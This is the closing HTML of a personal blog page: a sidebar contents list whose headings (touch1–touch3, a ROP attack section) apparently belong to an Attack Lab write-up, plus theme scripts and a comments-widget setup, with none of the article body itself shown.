      <div class="post-toc-wrap sidebar-panel">
          <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#touch1"><span class="nav-number">1.</span> <span class="nav-text">touch1</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#touch2"><span class="nav-number">2.</span> <span class="nav-text">touch2</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#touch3"><span class="nav-number">3.</span> <span class="nav-text">touch3</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#rop%E6%94%BB%E5%87%BB"><span class="nav-number">4.</span> <span class="nav-text">rop攻击</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#touch-2"><span class="nav-number">4.1.</span> <span class="nav-text">touch 2</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#touch3-1"><span class="nav-number">4.2.</span> <span class="nav-text">touch3</span></a></li></ol></li></ol></div>
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image" alt="H.R.P"
      src="https://www.hualigs.cn/image/6015786be4309.jpg">
  <p class="site-author-name" itemprop="name">H.R.P</p>
  <div class="site-description" itemprop="description"></div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/diazang/archives/">
        
          <span class="site-state-item-count">38</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
  </nav>
</div>



      </div>
        <div class="back-to-top motion-element">
          <i class="fa fa-arrow-up"></i>
          <span>0%</span>
        </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer class="footer">
      <div class="footer-inner">
        

        <!-- 用下面的符号注释，注释代码用下面括号括起来 -->
<!-- -->

<!-- 







-->


        








      </div>
    </footer>
  </div>

  
  <script src="/diazang/lib/anime.min.js"></script>
  <script src="/diazang/lib/velocity/velocity.min.js"></script>
  <script src="/diazang/lib/velocity/velocity.ui.min.js"></script>

<script src="/diazang/js/utils.js"></script>

<script src="/diazang/js/motion.js"></script>


<script src="/diazang/js/schemes/pisces.js"></script>


<script src="/diazang/js/next-boot.js"></script>




  




  
<script src="/diazang/js/local-search.js"></script>













  

  


<script>
NexT.utils.loadComments(document.querySelector('#valine-comments'), () => {
  NexT.utils.getScript('//unpkg.com/valine/dist/Valine.min.js', () => {
    var GUEST = ['nick', 'mail', 'link'];
    var guest = 'nick,mail,link';
    guest = guest.split(',').filter(item => {
      return GUEST.includes(item);
    });
    new Valine({
      el         : '#valine-comments',
      verify     : false,
      notify     : false,
      appId      : 'g8R6OK66Q2xJiQieSaxzFqVA-gzGzoHsz',
      appKey     : 'V9mmkUCmucvukcz6LwkONqXa',
      placeholder: "Just go go",
      avatar     : 'mm',
      meta       : guest,
      pageSize   : '10' || 10,
      visitor    : false,
      lang       : '' || 'zh-cn',
      path       : location.pathname,
      recordIP   : false,
      serverURLs : ''
    });
  }, window.Valine);
});
</script>

</body>
</html>
<a href="http://jue-xian.gitee.io/diazang"><svg width="80" height="80" viewBox="0 0 250 250" style="fill:#70B7FD; color:#fff; position: absolute; top: 0; border: 0; right: 0;" aria-hidden="true"><path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path><path d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2" fill="currentColor" style="transform-origin: 130px 106px;" class="octo-arm"></path><path d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z" fill="currentColor" class="octo-body"></path></svg></a><style>.github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}@media (max-width:500px){.github-corner:hover .octo-arm{animation:none}.github-corner .octo-arm{animation:octocat-wave 560ms ease-in-out}}</style>
<!-- 动态背景 -->
<script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.0/canvas-nest.min.js"></script>
<!-- 页面点击小红心 -->
<script type="text/javascript" src="/js/src/clicklove.js"></script>


